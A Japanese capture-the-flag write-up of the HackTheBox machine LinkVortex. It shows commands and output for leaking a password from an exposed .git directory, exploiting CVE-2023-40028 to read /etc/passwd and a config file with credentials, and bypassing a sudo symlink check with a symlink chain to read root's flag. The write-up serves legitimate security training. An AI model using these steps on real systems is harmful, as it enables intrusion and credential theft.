【HackTheBox】LinkVortex：Writeup

# 概要

HackTheBox「LinkVortex」のWriteupです。

https://app.hackthebox.com/machines/LinkVortex

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.47 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|Apache|

ドメインが分かったので`/etc/hosts`に追加します。

```
10.10.11.47     linkvortex.htb
```

`80`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7bb5984c-f707-d7c0-179e-54ef5a4088d5.png)

フッターから`ghost`というオープンソースのツールで作成されたことが分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/89701e69-8716-ed5c-2f4b-a5027bba963f.png)

https://ghost.org/

https://github.com/TryGhost/Ghost/tree/main

ディレクトリスキャンをします。

```
$ dirsearch -u http://linkvortex.htb/ -x 404

[07:34:11] 301 -  179B  - /assets  ->  /assets/
[07:34:34] 200 -   15KB - /favicon.ico
[07:34:47] 200 -    1KB - /LICENSE
[07:35:11] 200 -  103B  - /robots.txt
[07:35:18] 200 -  256B  - /sitemap.xml
```

`/robots.txt`にアクセスすると更なるパスを発見できました。

```/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
```

`/ghost`にアクセスするとログインフォームが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/143c2e7e-f81a-a4df-ef2b-9a3d1ff14e1b.png)

`admin@linkvortex.htb`で認証を試みたところ、エラーメッセージからこのアカウントの存在を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/95279cdf-cce2-6d69-159c-7e0ec41b9ef8.png)

サブドメインを列挙をします。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 258ms]
```

`dev.linkvortex.htb`を発見したので`/etc/hosts`に追記しアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fb3d5cb4-919e-08b1-0cb3-0e15a713ebe0.png)

`dev`サブドメインのディレクトリスキャンをします。

```
$ dirsearch -u http://dev.linkvortex.htb -x 404

[09:30:23] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/        
[09:30:23] 200 -  557B  - /.git/
[09:30:23] 200 -  201B  - /.git/config
[09:30:23] 200 -   73B  - /.git/description
[09:30:23] 200 -  620B  - /.git/hooks/
[09:30:23] 200 -   41B  - /.git/HEAD
[09:30:23] 200 -  402B  - /.git/info/

(省略)
```

`/.git/`が見つかったので配下をダウンロードします。

```
$ wget -r http://dev.linkvortex.htb/.git/
```

コミット履歴を複数確認できました。

```
$ git log --oneline
299cdb4 (HEAD, tag: v5.58.0) v5.58.0
dce2e68 Added Tips&Donations link to portal links (#17580)
3562560 Data generator: Ensure order of newsletters is correct

(省略)
```

`git diff`コマンドでステージング環境との差分を確認するとパスワードを発見できました。

```
$ git diff --staged

(省略)
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';
```

得られたパスワードでログインに成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f3a817d1-47a5-a486-475c-d94204507f5c.png)

`settings`からバージョンが`5.58.0`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d0753fc0-9d97-ec58-e845-a8265c8117f5.png)

該当バージョンで脆弱性情報を検索すると`CVE-2023-40028`が見つかりました。
この脆弱性を悪用することで任意のファイルを読み込めるようです。

https://nvd.nist.gov/vuln/detail/CVE-2023-40028

PoCは下記リポジトリを使用しました。

https://github.com/0xyassine/CVE-2023-40028/tree/master

`/etc/passwd`ファイルの読み込みに成功しました。

```
$ ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```

ホスト名を確認するとDockerコンテナ内に居ると予想できます。

```
file> /etc/hostname
7facf5f862ae
```

設定ファイルを閲覧したいですが、現状ディレクトリ構成が分かりません。
コンテナ内のディレクトリ構成を把握するために実際にコンテナをローカルに構築してみます。

イメージはDockerHubから公式のものをダウンロードします。

https://hub.docker.com/_/ghost

公式のアナウンスに従ってコマンドを実行し、構築します。

```
$ sudo docker pull ghost

$ sudo docker run -d --name some-ghost -e NODE_ENV=development ghost
```

コンテナに入ると`/var/lib/ghost`にいることが分かります。

```
$ sudo docker exec -it some-ghost /bin/bash
root@85551094b4c0:/var/lib/ghost#
```

ディレクトリを確認すると`config.production.json`を発見しました。
実際のターゲットマシン上でも`/var/lib/ghost/config.production.json`を参照すれば情報を得られそうです。

```
# ls -la
total 40
drwxr-xr-x  1 node node 4096 Dec 10 01:30 .
drwxr-xr-x  1 root root 4096 Dec 10 01:29 ..
-rw-r--r--  1 node node   84 Dec 10 01:30 .ghost-cli
lrwxrwxrwx  1 node node   22 Dec 10 01:30 config.development.json -> config.production.json
-rw-r--r--  1 node node  295 Dec 10 01:30 config.production.json
drwxrwxrwt 11 node node 4096 Dec 10 17:26 content
drwxr-xr-x 11 node node 4096 Dec 10 01:29 content.orig
lrwxrwxrwx  1 node node   31 Dec 10 01:30 current -> /var/lib/ghost/versions/5.104.1
drwxr-xr-x  1 node node 4096 Dec 10 01:29 versions
```

実際に`config.production.json`をターゲットマシン上で確認すると、SMTPの認証情報を得られました。

```
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
```

得られた認証情報でSSH接続に成功しました。

```
$ ssh bob@linkvortex.htb
bob@linkvortex:~$
```

`/home/bob/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt 
f45a09ebd41243969ef945b549ec7a5f
```

# Root Flag

`sudo -l`を確認すると、`/opt/ghost/clean_symlink.sh`が実行できるようです。

```
$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```

`/opt/ghost/clean_symlink.sh`の処理を確認します。

```/opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

`CHECK_CONTENT`環境変数が設定されていない場合はfalseをセットします。

```
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
```

スクリプトの引数を受け取りファイルが`.png`で終わるか確認しています。

```
LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
```

引数のPNGファイルがリンクの場合にファイル名を取得し、リンク先に`etc`,`root`が入っているか確認します。

入っている場合はリンクを削除します。

入っていない場合は`/var/quarantined`にファイルを移動し、`CHECK_CONTENT`がtrueの場合にリンク先のファイルをcatコマンドで表示します。


```
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

最後のcatコマンドで`/root/root.txt`を読み込めそうです。
まず、`CHECK_CONTENT`がtrueの場合の条件分岐を満たします。

```
$ CHECK_CONTENT=true
$ export CHECK_CONTENT
$ printenv | grep CHECK_CONTENT
CHECK_CONTENT=true
```

次にシンボリックリンクを作成します。
今回は`シンボリックリンクチェーン`を使用して`etc`,`root`の文字列チェックを回避します。

https://www.baeldung.com/linux/symbolic-link-chains-list

`/root/root.txt`にリンクする`a.png`を作成します。
そして`a.png`にリンクする`b.png`を`/var/quarantined`に作成します。

```
$ ln -s /root/root.txt a.png
$ ln -s /var/quarantined/a.png b.png
$ ls -la
total 8
drwxr-xr-x  2 bob  bob  4096 Dec 10 19:17 .
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ..
lrwxrwxrwx  1 bob  bob    14 Dec 10 19:17 a.png -> /root/root.txt
lrwxrwxrwx  1 bob  bob    22 Dec 10 19:17 b.png -> /var/quarantined/a.png
```

`/opt/ghost/clean_symlink.sh`の引数に`b.png`を指定して実行すると`/root/root.txt`フラグを入手できました。

```
$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /var/quarantined/b.png 
Link found [ /var/quarantined/b.png ] , moving it to quarantine
/usr/bin/mv: '/var/quarantined/b.png' and '/var/quarantined/b.png' are the same file
Content:
6a8d12b830755445dc3634720f45860c
```